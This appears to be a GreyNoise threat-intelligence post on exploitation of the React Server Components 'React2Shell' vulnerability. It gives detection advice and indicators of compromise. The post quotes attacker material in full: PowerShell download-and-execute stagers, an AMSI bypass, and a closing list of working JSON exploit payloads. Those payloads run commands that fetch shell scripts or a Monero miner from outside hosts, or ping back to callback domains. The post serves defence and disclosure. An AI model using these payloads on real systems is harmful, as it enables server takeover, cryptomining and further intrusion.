GreyNoise is already seeing opportunistic, largely automated exploitation attempts consistent with the newly disclosed React Server Components (RSC) “Flight” protocol RCE—often referred to publicly as “React2Shell” and tracked as CVE-2025-55182. Reporting to date describes unauthenticated remote code execution impacting React and downstream ecosystems (including Next.js) and urges immediate patching.

‍

Block IPs Linked to This Campaign

Defenders can use GreyNoise Block to immediately block malicious IPs associated with this activity by using the following template:

  • React Server Components Unsafe Deserialization CVE-2025-55182 RCE Attempt

Customers can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.

BLOCK IPS WITH GREYNOISE BLOCK

‍

Enterprise customers have targeted blocklists available in the platform (specifying ASNs, JA4, destination country, etc), supporting full queries leveraging the entirety of GreyNoise’s parameters.

BLOCK IPS WITH PLATFORM BLOCKLIST

‍

‍

Our traffic shows a familiar modern pattern, with attackers using a mix of fresh and legacy infrastructure to orchestrate their campaigns. The HTTP client and TCP stack fingerprints are overwhelmingly automation-heavy, not organic browsing. There's also an early focus on just this vulnerability, but we've already detected a slow migration of this CVE being added to Mirai and other botnet exploitation kits.

The initial access attempts are using the publicly disclosed proof-of-concept code as a base, and stage-1 payloads performing proof-of-execution (PoE) probes (e.g., PowerShell arithmetic) to validate RCE cheaply and using coded PowerShell download-and-execute stagers (-enc + DownloadString + IEX). 

Then, a stage-2 payload that uses reflection to set System.Management.Automation.AmsiUtils.amsiInitFailed = true (standard AMSI bypass), then iex executes the next stage.

‍

React2Shell quick refresher

Public reporting indicates a maximum-severity issue in React Server Components’ Flight protocol that can yield unauthenticated RCE in vulnerable deployments, with downstream impact across popular frameworks, including Next.js. Patches have been released, and multiple outlets are urging urgent upgrades.

This matters operationally because RSC is a high-value target since it sits in front of application logic that often runs with production permissions. Thanks to services such as BuiltWith/Wappalyzer, the exposed services are easy to find and exploit at scale. Early waves tend to be broad and shallow, featuring opportunistic scanning, validation payloads, and commodity post-exploitation stagers.

‍

What we are observing in the initial POST request:

Attackers are first performing basic exploit proof-of-execution (PoE) validation using "cheap math" PowerShell commands:

‍

powershell -c "40138*41979"
powershell -c "40320*43488"

‍

This is a common exploitation workflow since deterministic output confirms command execution and output retrieval ability. It also leaves minimal endpoint artifacts (no file writes, no network), and makes detection rules a bit trickier due to low unique keyword visibility versus obvious primitives like IEX, DownloadString, or -enc.

After PoE, we observed encoded PowerShell stagers in standard form:

‍

powershell -enc <base64>

‍

Decoding one of these reveals a run-of-the-mill in-memory downloader:

‍

IEX (New-Object System.Net.Webclient).DownloadString('http://23[.]235[.]188[.]3:652/qMqSb')

‍

The retrieved stage-2 payload uses a lightweight byte-transform obfuscation (reverse-byte order and add a constant repeatedly), then uses reflection to set:

  • Type: System.Management.Automation.AmsiUtils
  • Field: amsiInitFailed
  • Value: $true

in an attempt to bypass any anti-malware components that may be on the system.

This is an important campaign component because it’s stable across many commodity toolchains and can be detected reliably via PowerShell logging, even when the obfuscation changes.

‍

Traffic composition: automation dominates (so far)

From extracted POST requests, the top user agents were:

  • Go-http-client/1.1
  • A UA ending in Assetnote/1.0.0 on Chrome 60
  • Safari 17.2.1
  • Small volumes from aiohttp and python-requests, plus scattered “real browser” strings.

The presence of an Assetnote/1.0.0 marker is consistent with Assetnote-tagged scanning traffic documented in the ecosystem and built into the open-sourced scanner tool.

This is what standard early exploitation waves usually look like. We see a fair amount of automation, a mix of researcher/scanner traffic, and a small tail of organic-looking browser strings (often spoofed).

Across the JA4T+JA4H dataset collected so far, the distribution was highly concentrated in a handful of ASNs attributed to the Netherlands, China, the United States, Hong Kong, and a small tail of other countries.

These are the top JA4T/JA4H pairs, to-date:

  • 42340_2-4-8-1-3_1460_11 + po11nn060000_3865ae1cc1d9_...
  • 64240_2-1-3-1-1-4_1400_8 + po10nn090000_75eeec6218a0_...
  • 42340_2-4-8-1-3_1460_11 + po11nn10enus_38148d6b7d75_...
  • 42340_2-4-8-1-3_1460_10 + po11nn090000_3343762cd6d7_...

Source IP first/last-seen analysis shows a meaningful share of the observed exploitation IPs are newly observed in the recent window (nearly 50% being first seen in December 2025). This has become typical for modern opportunistic exploitation, with attackers leveraging the quick rotation of IPs in VPS and proxy pools.

‍

What makes this campaign “standard modern ops”

Nothing in this chain is novel, so far. The PoE commands are commodity exploitation hygiene, and the use of -enc + DownloadString + IEX is a staple pattern. Also, AmsiUtils.amsiInitFailed reflection bypass is widely documented and reused.

However, “not novel” ≠ “not serious.” This is exactly the kind of high-throughput exploitation that turns into credential theft, cryptomining, ransomware staging, or access-broker resale.

‍

Detection guidance (high-signal, low-regret)

  • Utilize GreyNoise's rapidly updated blocklists to prevent opportunistic IP addresses from compromising your perimeter.
  • If you can perform detection on endpoints, watch for process creation and encoded PowerShell + suspicious primitives.
  • Alert on powershell.exe / pwsh.exe combined with -enc / -EncodedCommand and DownloadString( or IEX.

If you have Windows Event ID 4104 enabled alert on any script block containing any two of:

  • System.Management.Automation.AmsiUtils
  • amsiInitFailed
  • GetField
  • NonPublic,Static
  • SetValue

If your detection platform supports it, aggregate detection on repeated powershell -c "<digits>*<digits>" across a short window, since it is a strong indicator of exploit validation.

Based on observed automation-heavy traffic (Go clients, scanner-tagged UAs, tight JA4 clustering) and rapid infrastructure build-up and churn, this looks like the first opportunistic wave, not a “hands-on-keyboard” intrusion set. Historically, this is when defenders can still win by ensuring patches are in place, putting high-quality endpoint detection in place, and using the provided network fingerprints to isolate potentially malicious inbound traffic requests.

‍

— — — 

Top-level indicators

Candidate exploitation source infrastructure is available via GreyNoise API.

‍

‍

Stage-1 / Stage-2 fetch:

  • URL: http://23[.]235[.]188[.]3:652/qMqSb
  • Port: 652/tcp
  • Path: /qMqSb

PowerShell stager primitive:

  • IEX` (New-Object System.Net.Webclient).DownloadString('')
  • `powershell.exe -enc <base64>` (UTF-16LE encoded command)

Stage-2 defense evasion primitive (reflection AMSI flip):

  • Type: System.Management.Automation.AmsiUtils
  • Field: amsiInitFailed
  • Setter: .GetField(<field>,"NonPublic,Static").SetValue($null,$true)

Exploit validation / “proof of execution” probes:

  • powershell -c "<5-digit>*<5-digit>" (many unique pairs; deterministic output)

Unique payloads

[
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('curl 2f7ac6[.]ceye[.]io'); throw new Error('exploited');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('ping -c 7 45[.]157[.]233[.]80',{'timeout':8000}).toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('ping 5axzi7[.]dnslog[.]cn",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADMALgAyADMANQAuADEAOAA4AC4AMwA6ADYANQAyAC8AcQBNAHEAUwBiACcAKQA=');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://162[.]215[.]170[.]26:3000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://46[.]36[.]37[.]85:12000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget hxxp[://]vps-zap812595-1[.]zap-srv[.]com:3000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('curl -s -L hxxps[://]raw[.]githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner[.]sh | bash -s 44VvVLU2Vmja6gTMbhNHAzc7heYTiT7VmQEXkjdaYo6K41WqH8qWw1CL8wKAAgz5xLYT3XL3pb9KCUZS7PPZbzUGCCpZ9Ee').toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  }
]

‍

‍

This article is a summary of the full, in-depth version on the GreyNoise Labs blog.
Read the full report
GreyNoise Labs logo
Link to GreyNoise Twitter account
Link to GreyNoise Twitter account